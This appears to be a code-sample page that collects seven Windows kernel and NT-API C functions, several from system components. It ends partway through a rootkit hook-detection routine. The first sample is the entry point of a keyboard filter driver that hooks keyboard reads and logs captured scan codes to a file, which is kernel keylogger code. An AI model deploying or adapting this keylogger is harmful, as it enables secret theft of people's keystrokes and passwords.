Exemplo n.º 1
0
//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
extern "C" NTSTATUS DriverEntry( IN PDRIVER_OBJECT  pDriverObject, IN PUNICODE_STRING RegistryPath )
{	
	NTSTATUS Status = {0};
	
	DbgPrint("Keyboard Filter Driver - DriverEntry\nCompiled at " __TIME__ " on " __DATE__ "\n");
 		
	/////////////////////////////////////////////////////////////////////////////////////////
	// Fill in IRP dispatch table in the DriverObject to handle I/O Request Packets (IRPs) 
	/////////////////////////////////////////////////////////////////////////////////////////
	
	// For a filter driver, we want pass down ALL IRP_MJ_XX requests to the driver which
	// we are hooking except for those we are interested in modifying.
	for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
		pDriverObject->MajorFunction[i] = DispatchPassDown;
	DbgPrint("Filled dispatch table with generic pass down routine...\n");

	//Explicitly fill in the IRP's we want to hook
	pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
	
	//Go ahead and hook the keyboard now
	HookKeyboard(pDriverObject);
	DbgPrint("Hooked IRP_MJ_READ routine...\n");

	//Set up our worker thread to handle file writes of the scan codes extracted from the 
	//read IRPs
	InitThreadKeyLogger(pDriverObject);

	//Initialize the linked list that will serve as a queue to hold the captured keyboard scan codes
	PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension; 
	InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

	//Initialize the lock for the linked list queue
	KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);

	//Initialize the work queue semaphore
	KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0 , MAXLONG);

	//Create the log file
	IO_STATUS_BLOCK file_status;
	OBJECT_ATTRIBUTES obj_attrib;
	CCHAR		 ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";
    STRING		 ntNameString;
	UNICODE_STRING uFileName;
    RtlInitAnsiString( &ntNameString, ntNameFile);
    RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE );
	InitializeObjectAttributes(&obj_attrib, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
	Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,GENERIC_WRITE,&obj_attrib,&file_status,
							NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);
	RtlFreeUnicodeString(&uFileName);

	if (Status != STATUS_SUCCESS)
	{
		DbgPrint("Failed to create log file...\n");
		DbgPrint("File Status = %x\n",file_status);
	}
	else
	{
		DbgPrint("Successfully created log file...\n");
		DbgPrint("File Handle = %x\n",pKeyboardDeviceExtension->hLogFile);
	}

	// Set the DriverUnload procedure
	pDriverObject->DriverUnload = Unload;
	DbgPrint("Set DriverUnload function pointer...\n");
	DbgPrint("Exiting Driver Entry......\n");
	return STATUS_SUCCESS;
}
Exemplo n.º 2
0
/*
 * FUNCTION: Opens a cabinet file
 * RETURNS:
 *     Status of operation
 */
ULONG
CabinetOpen(VOID)
{
    PUCHAR Buffer;
    UNICODE_STRING ustring;
    ANSI_STRING astring;

    if (!FileOpen)
    {
        OBJECT_ATTRIBUTES ObjectAttributes;
        IO_STATUS_BLOCK IoStatusBlock;
        UNICODE_STRING FileName;
        NTSTATUS NtStatus;

        RtlInitUnicodeString(&FileName, CabinetName);

        InitializeObjectAttributes(&ObjectAttributes,
                                   &FileName,
                                   OBJ_CASE_INSENSITIVE,
                                   NULL, NULL);

        NtStatus = NtOpenFile(&FileHandle,
                              GENERIC_READ | SYNCHRONIZE,
                              &ObjectAttributes,
                              &IoStatusBlock,
                              FILE_SHARE_READ,
                              FILE_SYNCHRONOUS_IO_NONALERT);

        if (!NT_SUCCESS(NtStatus))
        {
            DPRINT("Cannot open file (%S) (%x)\n", CabinetName, NtStatus);
            return CAB_STATUS_CANNOT_OPEN;
        }

        FileOpen = TRUE;

        NtStatus = NtCreateSection(&FileSectionHandle,
                                   SECTION_ALL_ACCESS,
                                   0, 0,
                                   PAGE_READONLY,
                                   SEC_COMMIT,
                                   FileHandle);

        if (!NT_SUCCESS(NtStatus))
        {
            DPRINT("NtCreateSection failed: %x\n", NtStatus);
            return CAB_STATUS_NOMEMORY;
        }

        FileBuffer = 0;
        FileSize = 0;

        NtStatus = NtMapViewOfSection(FileSectionHandle,
                                      NtCurrentProcess(),
                                      (PVOID *)&FileBuffer,
                                      0, 0, 0,
                                      &FileSize,
                                      ViewUnmap,
                                      0,
                                      PAGE_READONLY);

        if (!NT_SUCCESS(NtStatus))
        {
            DPRINT("NtMapViewOfSection failed: %x\n", NtStatus);
            return CAB_STATUS_NOMEMORY;
        }

        DPRINT("Cabinet file %S opened and mapped to %x\n", CabinetName, FileBuffer);
        PCABHeader = (PCFHEADER) FileBuffer;

        /* Check header */
        if (FileSize <= sizeof(CFHEADER) ||
            PCABHeader->Signature != CAB_SIGNATURE ||
            PCABHeader->Version != CAB_VERSION ||
            PCABHeader->FolderCount == 0 ||
            PCABHeader->FileCount == 0 ||
            PCABHeader->FileTableOffset < sizeof(CFHEADER))
        {
            CloseCabinet();
            DPRINT("File has invalid header\n");
            return CAB_STATUS_INVALID_CAB;
        }

        Buffer = (PUCHAR)(PCABHeader + 1);

        /* Read/skip any reserved bytes */
        if (PCABHeader->Flags & CAB_FLAG_RESERVE)
        {
            CabinetReserved = *(PUSHORT)Buffer;
            Buffer += 2;
            FolderReserved = *Buffer;
            Buffer++;
            DataReserved = *Buffer;
            Buffer++;

            if (CabinetReserved > 0)
            {
                CabinetReservedArea = Buffer;
                Buffer += CabinetReserved;
            }
        }

        if (PCABHeader->Flags & CAB_FLAG_HASPREV)
        {
            /* The previous cabinet file is in
               the same directory as the current */
            wcscpy(CabinetPrev, CabinetName);
            RemoveFileName(CabinetPrev);
            CabinetNormalizePath(CabinetPrev, 256);
            RtlInitAnsiString(&astring, (LPSTR)Buffer);
            ustring.Length = wcslen(CabinetPrev);
            ustring.Buffer = CabinetPrev + ustring.Length;
            ustring.MaximumLength = sizeof(CabinetPrev) - ustring.Length;
            RtlAnsiStringToUnicodeString(&ustring, &astring, FALSE);
            Buffer += astring.Length + 1;

            /* Read label of prev disk */
            RtlInitAnsiString(&astring, (LPSTR)Buffer);
            ustring.Length = 0;
            ustring.Buffer = DiskPrev;
            ustring.MaximumLength = sizeof(DiskPrev);
            RtlAnsiStringToUnicodeString(&ustring, &astring, FALSE);
            Buffer += astring.Length + 1;
        }
        else
        {
            wcscpy(CabinetPrev, L"");
            wcscpy(DiskPrev, L"");
        }

        if (PCABHeader->Flags & CAB_FLAG_HASNEXT)
        {
            /* The next cabinet file is in
               the same directory as the previous */
            wcscpy(CabinetNext, CabinetName);
            RemoveFileName(CabinetNext);
            CabinetNormalizePath(CabinetNext, 256);
            RtlInitAnsiString(&astring, (LPSTR)Buffer);
            ustring.Length = wcslen(CabinetNext);
            ustring.Buffer = CabinetNext + ustring.Length;
            ustring.MaximumLength = sizeof(CabinetNext) - ustring.Length;
            RtlAnsiStringToUnicodeString(&ustring, &astring, FALSE);
            Buffer += astring.Length + 1;

            /* Read label of next disk */
            RtlInitAnsiString(&astring, (LPSTR)Buffer);
            ustring.Length = 0;
            ustring.Buffer = DiskNext;
            ustring.MaximumLength = sizeof(DiskNext);
            RtlAnsiStringToUnicodeString(&ustring, &astring, FALSE);
            Buffer += astring.Length + 1;
        }
        else
        {
            wcscpy(CabinetNext, L"");
            wcscpy(DiskNext, L"");
        }
        CabinetFolders = (PCFFOLDER)Buffer;
    }

    DPRINT("CabinetOpen returning SUCCESS\n");
    return CAB_STATUS_SUCCESS;
}
Exemplo n.º 3
0
/*
 * FUNCTION: Extracts a file from the cabinet
 * ARGUMENTS:
 *     Search = Pointer to PCAB_SEARCH structure used to locate the file
 * RETURNS
 *     Status of operation
 */
ULONG
CabinetExtractFile(PCAB_SEARCH Search)
{
    ULONG Size;                 // remaining file bytes to decompress
    ULONG CurrentOffset;        // current uncompressed offset within the folder
    PUCHAR CurrentBuffer;       // current pointer to compressed data in the block
    LONG RemainingBlock;        // remaining comp data in the block
    HANDLE DestFile;
    HANDLE DestFileSection;
    PVOID DestFileBuffer;       // mapped view of dest file
    PVOID CurrentDestBuffer;    // pointer to the current position in the dest view
    PCFDATA CFData;             // current data block
    ULONG Status;
    FILETIME FileTime;
    WCHAR DestName[MAX_PATH];
    NTSTATUS NtStatus;
    UNICODE_STRING UnicodeString;
    ANSI_STRING AnsiString;
    IO_STATUS_BLOCK IoStatusBlock;
    OBJECT_ATTRIBUTES ObjectAttributes;
    FILE_BASIC_INFORMATION FileBasic;
    PCFFOLDER CurrentFolder;
    LARGE_INTEGER MaxDestFileSize;
    LONG InputLength, OutputLength;
    char Junk[512];

    if (wcscmp(Search->Cabinet, CabinetName) != 0)
    {
        /* the file is not in the current cabinet */
        DPRINT("File is not in this cabinet (%S != %S)\n",
               Search->Cabinet, CabinetName);
        return CAB_STATUS_NOFILE;
    }

    /* look up the folder that the file specifies */
    if (Search->File->FolderIndex == 0xFFFD ||
        Search->File->FolderIndex == 0xFFFF)
    {
        /* folder is continued from previous cabinet,
           that shouldn't happen here */
        return CAB_STATUS_NOFILE;
    }
    else if (Search->File->FolderIndex == 0xFFFE)
    {
        /* folder is the last in this cabinet and continues into next */
        CurrentFolder = &CabinetFolders[PCABHeader->FolderCount - 1];
    }
    else
    {
        /* folder is completely contained within this cabinet */
        CurrentFolder = &CabinetFolders[Search->File->FolderIndex];
    }

    switch (CurrentFolder->CompressionType & CAB_COMP_MASK)
    {
        case CAB_COMP_NONE:
            CabinetSelectCodec(CAB_CODEC_RAW);
            break;
        case CAB_COMP_MSZIP:
            CabinetSelectCodec(CAB_CODEC_MSZIP);
            break;
        default:
            return CAB_STATUS_UNSUPPCOMP;
    }

    DPRINT("Extracting file at uncompressed offset (0x%X) Size (%d bytes)\n",
           (UINT)Search->File->FileOffset, (UINT)Search->File->FileSize);

    RtlInitAnsiString(&AnsiString, Search->File->FileName);
    wcscpy(DestName, DestPath);
    UnicodeString.MaximumLength = sizeof(DestName) - wcslen(DestName) * sizeof(WCHAR);
    UnicodeString.Buffer = DestName + wcslen(DestName);
    UnicodeString.Length = 0;
    RtlAnsiStringToUnicodeString(&UnicodeString, &AnsiString, FALSE);

    /* Create destination file, fail if it already exists */
    RtlInitUnicodeString(&UnicodeString, DestName);

    InitializeObjectAttributes(&ObjectAttributes,
                               &UnicodeString,
                               OBJ_CASE_INSENSITIVE,
                               NULL, NULL);

    NtStatus = NtCreateFile(&DestFile,
                            GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
                            &ObjectAttributes,
                            &IoStatusBlock,
                            NULL,
                            FILE_ATTRIBUTE_NORMAL,
                            0,
                            FILE_CREATE,
                            FILE_SYNCHRONOUS_IO_NONALERT,
                            NULL, 0);

    if (!NT_SUCCESS(NtStatus))
    {
        DPRINT("NtCreateFile() failed (%S) (%x)\n", DestName, NtStatus);

        /* If file exists, ask to overwrite file */
        if (OverwriteHandler == NULL || OverwriteHandler(Search->File, DestName))
        {
            /* Create destination file, overwrite if it already exists */
            NtStatus = NtCreateFile(&DestFile,
                                    GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
                                    &ObjectAttributes,
                                    &IoStatusBlock,
                                    NULL,
                                    FILE_ATTRIBUTE_NORMAL,
                                    0,
                                    FILE_OVERWRITE,
                                    FILE_SYNCHRONOUS_IO_ALERT,
                                    NULL, 0);

            if (!NT_SUCCESS(NtStatus))
            {
                DPRINT("NtCreateFile() failed (%S) (%x)\n", DestName, NtStatus);
                return CAB_STATUS_CANNOT_CREATE;
            }
        }
        else
        {
            DPRINT("File (%S) exists\n", DestName);
            return CAB_STATUS_FILE_EXISTS;
        }
    }

    MaxDestFileSize.QuadPart = Search->File->FileSize;
    NtStatus = NtCreateSection(&DestFileSection,
                               SECTION_ALL_ACCESS,
                               0,
                               &MaxDestFileSize,
                               PAGE_READWRITE,
                               SEC_COMMIT,
                               DestFile);

    if (!NT_SUCCESS(NtStatus))
    {
        DPRINT("NtCreateSection failed: %x\n", NtStatus);
        Status = CAB_STATUS_NOMEMORY;
        goto CloseDestFile;
    }

    DestFileBuffer = 0;
    DestFileSize = 0;
    NtStatus = NtMapViewOfSection(DestFileSection,
                                  NtCurrentProcess(),
                                  &DestFileBuffer,
                                  0, 0, 0,
                                  &DestFileSize,
                                  ViewUnmap,
                                  0,
                                  PAGE_READWRITE);

    if (!NT_SUCCESS(NtStatus))
    {
        DPRINT("NtMapViewOfSection failed: %x\n", NtStatus);
        Status = CAB_STATUS_NOMEMORY;
        goto CloseDestFileSection;
    }

    CurrentDestBuffer = DestFileBuffer;
    if (!ConvertDosDateTimeToFileTime(Search->File->FileDate,
                                      Search->File->FileTime,
                                      &FileTime))
    {
        DPRINT("DosDateTimeToFileTime() failed\n");
        Status = CAB_STATUS_CANNOT_WRITE;
        goto UnmapDestFile;
    }

    NtStatus = NtQueryInformationFile(DestFile,
                                      &IoStatusBlock,
                                      &FileBasic,
                                      sizeof(FILE_BASIC_INFORMATION),
                                      FileBasicInformation);
    if (!NT_SUCCESS(NtStatus))
    {
        DPRINT("NtQueryInformationFile() failed (%x)\n", NtStatus);
    }
    else
    {
        memcpy(&FileBasic.LastAccessTime, &FileTime, sizeof(FILETIME));

        NtStatus = NtSetInformationFile(DestFile,
                                        &IoStatusBlock,
                                        &FileBasic,
                                        sizeof(FILE_BASIC_INFORMATION),
                                        FileBasicInformation);
        if (!NT_SUCCESS(NtStatus))
        {
            DPRINT("NtSetInformationFile() failed (%x)\n", NtStatus);
        }
    }

    SetAttributesOnFile(Search->File, DestFile);

    /* Call extract event handler */
    if (ExtractHandler != NULL)
    {
        ExtractHandler(Search->File, DestName);
    }

    if (Search->CFData)
        CFData = Search->CFData;
    else
        CFData = (PCFDATA)(CabinetFolders[Search->File->FolderIndex].DataOffset + FileBuffer);

    CurrentOffset = Search->Offset;
    while (CurrentOffset + CFData->UncompSize <= Search->File->FileOffset)
    {
        /* walk the data blocks until we reach
           the one containing the start of the file */
        CurrentOffset += CFData->UncompSize;
        CFData = (PCFDATA)((char *)(CFData + 1) + DataReserved + CFData->CompSize);
    }
    
    Search->CFData = CFData;
    Search->Offset = CurrentOffset;

    /* now decompress and discard any data in
       the block before the start of the file */

    /* start of comp data */
    CurrentBuffer = ((unsigned char *)(CFData + 1)) + DataReserved;
    RemainingBlock = CFData->CompSize;
    InputLength = RemainingBlock;

    while (CurrentOffset < Search->File->FileOffset)
    {
        /* compute remaining uncomp bytes to start
           of file, bounded by sizeof junk */
        OutputLength = Search->File->FileOffset - CurrentOffset;
        if (OutputLength > (LONG)sizeof(Junk))
            OutputLength = sizeof (Junk);

        /* negate to signal NOT end of block */
        OutputLength = -OutputLength;
        CodecUncompress(Junk, CurrentBuffer, &InputLength, &OutputLength);
        /* add the uncomp bytes extracted to current folder offset */
        CurrentOffset += OutputLength;
        /* add comp bytes consumed to CurrentBuffer */
        CurrentBuffer += InputLength;
        /* subtract bytes consumed from bytes remaining in block */
        RemainingBlock -= InputLength;
        /* neg for resume decompression of the same block */
        InputLength = -RemainingBlock;
    }

    /* now CurrentBuffer points to the first comp byte
       of the file, so we can begin decompressing */

    /* Size = remaining uncomp bytes of the file to decompress */
    Size = Search->File->FileSize;
    while (Size > 0)
    {
        OutputLength = Size;
        DPRINT("Decompressing block at %x with RemainingBlock = %d, Size = %d\n",
               CurrentBuffer, RemainingBlock, Size);

        Status = CodecUncompress(CurrentDestBuffer,
                                 CurrentBuffer,
                                 &InputLength,
                                 &OutputLength);

        if (Status != CS_SUCCESS)
        {
            DPRINT("Cannot uncompress block\n");
            if (Status == CS_NOMEMORY)
                Status = CAB_STATUS_NOMEMORY;
            Status = CAB_STATUS_INVALID_CAB;
            goto UnmapDestFile;
        }

        /* advance dest buffer by bytes produced */
        CurrentDestBuffer = (PVOID)((ULONG_PTR)CurrentDestBuffer + OutputLength);
        /* advance src buffer by bytes consumed */
        CurrentBuffer += InputLength;
        /* reduce remaining file bytes by bytes produced */
        Size -= OutputLength;
        /* reduce remaining block size by bytes consumed */
        RemainingBlock -= InputLength;
        if (Size > 0 && RemainingBlock == 0)
        {
            /* used up this block, move on to the next */
            DPRINT("Out of block data\n");
            CFData = (PCFDATA)CurrentBuffer;
            RemainingBlock = CFData->CompSize;
            CurrentBuffer = (unsigned char *)(CFData + 1) + DataReserved;
            InputLength = RemainingBlock;
        }
    }

    Status = CAB_STATUS_SUCCESS;

UnmapDestFile:
    NtUnmapViewOfSection(NtCurrentProcess(), DestFileBuffer);

CloseDestFileSection:
    NtClose(DestFileSection);

CloseDestFile:
    NtClose(DestFile);

    return Status;
}
Exemplo n.º 4
0
/*++
 * @name CsrParseServerCommandLine
 *
 * The CsrParseServerCommandLine routine parses the CSRSS command-line in the
 * registry and performs operations for each entry found.
 *
 * @param ArgumentCount
 *        Number of arguments on the command line.
 *
 * @param Arguments
 *        Array of arguments.
 *
 * @return STATUS_SUCCESS in case of success, STATUS_UNSUCCESSFUL otherwise.
 *
 * @remarks None.
 *
 *--*/
NTSTATUS
NTAPI
CsrParseServerCommandLine(IN ULONG ArgumentCount,
                          IN PCHAR Arguments[])
{
    NTSTATUS Status;
    PCHAR ParameterName = NULL, ParameterValue = NULL, EntryPoint, ServerString;
    ULONG i, DllIndex;
    ANSI_STRING AnsiString;
    OBJECT_ATTRIBUTES ObjectAttributes;

    /* Set the Defaults */
    CsrTotalPerProcessDataLength = 0;
    CsrObjectDirectory = NULL;
    CsrMaxApiRequestThreads = 16;

    /* Save our Session ID, and create a Directory for it */
    SessionId = NtCurrentPeb()->SessionId;
    Status = CsrCreateSessionObjectDirectory(SessionId);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("CSRSS: CsrCreateSessionObjectDirectory failed (%lx)\n",
                Status);

        /* It's not fatal if the session ID isn't zero */
        if (SessionId != 0) return Status;
        ASSERT(NT_SUCCESS(Status));
    }

    /* Loop through every argument */
    for (i = 1; i < ArgumentCount; i++)
    {
        /* Split Name and Value */
        ParameterName = Arguments[i];
        ParameterValue = NULL;
        ParameterValue = strchr(ParameterName, '=');
        if (ParameterValue) *ParameterValue++ = ANSI_NULL;
        DPRINT1("Name=%s, Value=%s\n", ParameterName, ParameterValue);

        /* Check for Object Directory */
        if (_stricmp(ParameterName, "ObjectDirectory") == 0)
        {
            /* Check if a session ID is specified */
            if (SessionId != 0)
            {
                DPRINT1("Sessions not yet implemented\n");
                ASSERT(SessionId);
            }

            /* Initialize the directory name */
            RtlInitAnsiString(&AnsiString, ParameterValue);
            Status = RtlAnsiStringToUnicodeString(&CsrDirectoryName,
                                                  &AnsiString,
                                                  TRUE);
            ASSERT(NT_SUCCESS(Status) || SessionId != 0);
            if (!NT_SUCCESS(Status)) return Status;

            /* Create it */
            InitializeObjectAttributes(&ObjectAttributes,
                                       &CsrDirectoryName,
                                       OBJ_OPENIF | OBJ_CASE_INSENSITIVE | OBJ_PERMANENT,
                                       NULL,
                                       NULL);
            Status = NtCreateDirectoryObject(&CsrObjectDirectory,
                                             DIRECTORY_ALL_ACCESS,
                                             &ObjectAttributes);
            if (!NT_SUCCESS(Status)) return Status;

            /* Secure it */
            Status = CsrSetDirectorySecurity(CsrObjectDirectory);
            if (!NT_SUCCESS(Status)) return Status;
        }
        else if (_stricmp(ParameterName, "SubSystemType") == 0)
        {
            /* Ignored */
        }
        else if (_stricmp(ParameterName, "MaxRequestThreads") == 0)
        {
            Status = RtlCharToInteger(ParameterValue,
                                      0,
                                      &CsrMaxApiRequestThreads);
        }
        else if (_stricmp(ParameterName, "RequestThreads") == 0)
        {
            /* Ignored */
            Status = STATUS_SUCCESS;
        }
        else if (_stricmp(ParameterName, "ProfileControl") == 0)
        {
            /* Ignored */
        }
        else if (_stricmp(ParameterName, "SharedSection") == 0)
        {
            /* Create the Section */
            Status = CsrSrvCreateSharedSection(ParameterValue);
            if (!NT_SUCCESS(Status))
            {
                DPRINT1("CSRSS: *** Invalid syntax for %s=%s (Status == %X)\n",
                        ParameterName, ParameterValue, Status);
                return Status;
            }

            /* Load us */
            Status = CsrLoadServerDll("CSRSS" /* "CSRSRV" */, NULL, CSRSRV_SERVERDLL_INDEX);
        }
        else if (_stricmp(ParameterName, "ServerDll") == 0)
        {
            /* Loop the command line */
            EntryPoint = NULL;
            Status = STATUS_INVALID_PARAMETER;
            ServerString = ParameterValue;
            while (*ServerString)
            {
                /* Check for the Entry Point */
                if ((*ServerString == ':') && (!EntryPoint))
                {
                    /* Found it. Add a nullchar and save it */
                    *ServerString++ = ANSI_NULL;
                    EntryPoint = ServerString;
                }

                /* Check for the Dll Index */
                if (*ServerString++ == ',') break;
            }

            /* Did we find something to load? */
            if (!*ServerString)
            {
                DPRINT1("CSRSS: *** Invalid syntax for ServerDll=%s (Status == %X)\n",
                        ParameterValue, Status);
                return Status;
            }

            /* Convert it to a ULONG */
            Status = RtlCharToInteger(ServerString, 10, &DllIndex);

            /* Add a null char if it was valid */
            if (NT_SUCCESS(Status)) ServerString[-1] = ANSI_NULL;

            /* Load it */
            if (CsrDebug & 1) DPRINT1("CSRSS: Loading ServerDll=%s:%s\n", ParameterValue, EntryPoint);
            Status = CsrLoadServerDll(ParameterValue, EntryPoint, DllIndex);
            if (!NT_SUCCESS(Status))
            {
                DPRINT1("CSRSS: *** Failed loading ServerDll=%s (Status == 0x%x)\n",
                        ParameterValue, Status);
                return Status;
            }
        }
        else if (_stricmp(ParameterName, "Windows") == 0)
        {
            /* Ignored */
            // Check whether we want to start in pure GUI or pure CLI.
        }
        else
        {
            /* Invalid parameter on the command line */
            Status = STATUS_INVALID_PARAMETER;
        }
    }

    /* Return status */
    return Status;
}
Exemplo n.º 5
0
/*
 * @implemented
 */
DWORD
WINAPI
GetEnvironmentVariableA (
	LPCSTR	lpName,
	LPSTR	lpBuffer,
	DWORD	nSize
	)
{
	ANSI_STRING VarName;
	ANSI_STRING VarValue;
	UNICODE_STRING VarNameU;
	UNICODE_STRING VarValueU;
	NTSTATUS Status;

	/* initialize unicode variable name string */
	RtlInitAnsiString (&VarName,
	                   (LPSTR)lpName);
	RtlAnsiStringToUnicodeString (&VarNameU,
	                              &VarName,
	                              TRUE);

	/* initialize ansi variable value string */
	VarValue.Length = 0;
	VarValue.MaximumLength = (USHORT)nSize;
	VarValue.Buffer = lpBuffer;

	/* initialize unicode variable value string and allocate buffer */
	VarValueU.Length = 0;
	if (nSize != 0)
	{
	    VarValueU.MaximumLength = (USHORT)(nSize - 1) * sizeof(WCHAR);
	    VarValueU.Buffer = RtlAllocateHeap (RtlGetProcessHeap (),
	                                        0,
	                                        nSize * sizeof(WCHAR));
            if (VarValueU.Buffer != NULL)
            {
                /* NULL-terminate the buffer in any case! RtlQueryEnvironmentVariable_U
                   only terminates it if MaximumLength < Length! */
                VarValueU.Buffer[nSize - 1] = L'\0';
            }
        }
	else
	{
            VarValueU.MaximumLength = 0;
            VarValueU.Buffer = NULL;
	}

        if (VarValueU.Buffer != NULL || nSize == 0)
        {
            /* get unicode environment variable */
	    Status = RtlQueryEnvironmentVariable_U (NULL,
	                                            &VarNameU,
	                                            &VarValueU);
	    if (!NT_SUCCESS(Status))
	    {
		/* free unicode buffer */
		RtlFreeHeap (RtlGetProcessHeap (),
		             0,
		             VarValueU.Buffer);

		/* free unicode variable name string */
		RtlFreeUnicodeString (&VarNameU);

		SetLastErrorByStatus (Status);
		if (Status == STATUS_BUFFER_TOO_SMALL)
		{
			return (VarValueU.Length / sizeof(WCHAR)) + 1;
		}
		else
		{
			return 0;
		}
	    }

	    /* convert unicode value string to ansi */
	    RtlUnicodeStringToAnsiString (&VarValue,
	                                  &VarValueU,
	                                  FALSE);

            if (VarValueU.Buffer != NULL)
            {
                /* free unicode buffer */
	        RtlFreeHeap (RtlGetProcessHeap (),
	                     0,
	                     VarValueU.Buffer);
            }

	    /* free unicode variable name string */
	    RtlFreeUnicodeString (&VarNameU);

	    return (VarValueU.Length / sizeof(WCHAR));
        }
        else
        {
            SetLastError (ERROR_NOT_ENOUGH_MEMORY);
            return 0;
        }
}
Exemplo n.º 6
0
NTSTATUS
INIT_FUNCTION
NTAPI
IopCreateArcNames(IN PLOADER_PARAMETER_BLOCK LoaderBlock)
{
    PARC_DISK_INFORMATION ArcDiskInfo = LoaderBlock->ArcDiskInformation;
    CHAR Buffer[128];
    ANSI_STRING ArcSystemString, ArcString;
    BOOLEAN SingleDisk;
    ULONG Length;
    NTSTATUS Status;
    BOOLEAN FoundBoot = FALSE;

    /* Check if we only have one disk on the machine */
    SingleDisk = ArcDiskInfo->DiskSignatureListHead.Flink->Flink ==
                 (&ArcDiskInfo->DiskSignatureListHead);

    /* Create the global HAL partition name */
    sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcHalDeviceName);
    RtlInitAnsiString(&ArcString, Buffer);
    RtlAnsiStringToUnicodeString(&IoArcHalDeviceName, &ArcString, TRUE);

    /* Create the global system partition name */
    sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName);
    RtlInitAnsiString(&ArcString, Buffer);
    RtlAnsiStringToUnicodeString(&IoArcBootDeviceName, &ArcString, TRUE);

    /* Allocate memory for the string */
    Length = strlen(LoaderBlock->ArcBootDeviceName) + sizeof(ANSI_NULL);
    IoLoaderArcBootDeviceName = ExAllocatePoolWithTag(PagedPool,
                                                      Length,
                                                      TAG_IO);
    if (IoLoaderArcBootDeviceName)
    {
        /* Copy the name */
        RtlCopyMemory(IoLoaderArcBootDeviceName,
                      LoaderBlock->ArcBootDeviceName,
                      Length);
    }

    /* Check if we only found a disk, but we're booting from CD-ROM */
    if ((SingleDisk) && strstr(LoaderBlock->ArcBootDeviceName, "cdrom"))
    {
        /* Then disable single-disk mode, since there's a CD drive out there */
        SingleDisk = FALSE;
    }

    /* Build the boot strings */
    RtlInitAnsiString(&ArcSystemString, LoaderBlock->ArcHalDeviceName);

    /* FIXME: Handle IoRemoteBootClient here and create appropriate symbolic link */

    /* Loop every disk and try to find boot disk */
    Status = IopCreateArcNamesDisk(LoaderBlock, SingleDisk, &FoundBoot);
    /* If it succeed but we didn't find boot device, try to browse Cds */
    if (NT_SUCCESS(Status) && !FoundBoot)
    {
        Status = IopCreateArcNamesCd(LoaderBlock);
    }

    /* Return success */
    return Status;
}
Exemplo n.º 7
0
/////////////////////////////////////////////////////
//                                                 //
// CheckDriver()                                   //
//                                                 //
/////////////////////////////////////////////////////
//Description:  Runs hook/detour detection routines
//				on the passed-in driver.
//
//				Note:  pHookTable and pDetourTable are
//				both optional, depending on which test
//				you wish to run.
//
//Returns:      void
/////////////////////////////////////////////////////
NTSTATUS CheckDriver(__in PUNICODE_STRING puDriverName, 
					 __in PUNICODE_STRING puDriverDeviceName, 
					 __inout_opt PHOOKED_DISPATCH_FUNCTIONS_TABLE pHookTable,
					 __inout_opt PDETOURED_DISPATCH_FUNCTIONS_TABLE pDetourTable)
{
	PMODULE_LIST pModuleList;
	ULONG bufsize=0;
	PULONG returnLength=0;
	ULONG modsize=0,modbase=0;
	CHAR ModuleName[256];
	WCHAR wModuleName[256];
	UNICODE_STRING uModuleName;
	ANSI_STRING aModuleName;
	PCHAR nameStart;
	NTSTATUS nt;
	int i;

	//0 buffer size is returned on failure
	bufsize=GetInformationClassSize(SystemModuleInformation);
	if (bufsize == 0)
		return STATUS_UNSUCCESSFUL;

	//loop through list of loaded drivers
	pModuleList=ExAllocatePoolWithTag(NonPagedPool,bufsize,CW_TAG);

	//oops, out of memory...
	if (pModuleList == NULL)
	{
		DbgPrint("CheckDriver():  Out of memory.\n");
		return STATUS_UNSUCCESSFUL;
	}

	nt=ZwQuerySystemInformation(SystemModuleInformation,pModuleList,bufsize,returnLength);

	if (nt != STATUS_SUCCESS)
	{
		DbgPrint("CheckDriver():  ZwQuerySystemInformation() failed.\n");
		if (pModuleList != NULL)
			ExFreePoolWithTag(pModuleList,CW_TAG);
		return STATUS_UNSUCCESSFUL;
	}

	//loop through the module list looking for the driver we are interested in;
	//retrieve it's load address and size.
	for(i=0;i<(long)pModuleList->ModuleCount;i++)
	{
		nameStart=pModuleList->Modules[i].ImageName+pModuleList->Modules[i].ModuleNameOffset;
		memcpy(ModuleName,nameStart,256-pModuleList->Modules[i].ModuleNameOffset);
		//since ZwQuerySystemInformation() returns a CHAR[256] and we need to compare it to a UNICODE_STRING, convert...
		RtlInitAnsiString(&aModuleName,ModuleName);
		RtlAnsiStringToUnicodeString(&uModuleName,&aModuleName,TRUE);

		//if we are on the driver we care about
		if (RtlCompareUnicodeString(&uModuleName,puDriverName,TRUE) == 0)
		{
			modsize=(ULONG)pModuleList->Modules[i].Size;
			modbase=(ULONG)pModuleList->Modules[i].Base;
			//free the tmp unicode string
			if (uModuleName.Buffer != NULL)
				RtlFreeUnicodeString(&uModuleName);
			break;
		}

		//free the tmp unicode string
		if (uModuleName.Buffer != NULL)
			RtlFreeUnicodeString(&uModuleName);
	}

	//bail if we didnt find the driver we were asked to look for.
	if (modsize == 0 || modbase == 0)
	{
		ExFreePoolWithTag(pModuleList,CW_TAG);
		DbgPrint("CheckDriver():  Failed to get this driver's size and base - maybe it's not loaded?\n");
		return STATUS_UNSUCCESSFUL;
	}

	DbgPrint("CheckDriver():  Found driver %wZ loaded at base address 0x%08x",puDriverName,modbase);

	//convert the driver device name to a PCWSTR
	//mbstowcs(uDriverDeviceName,driverDeviceName,256);

	//go ahead and save the driver name and device name in both tables
	if (pHookTable != NULL)
	{
		RtlInitUnicodeString(&pHookTable->DriverName,puDriverName->Buffer);
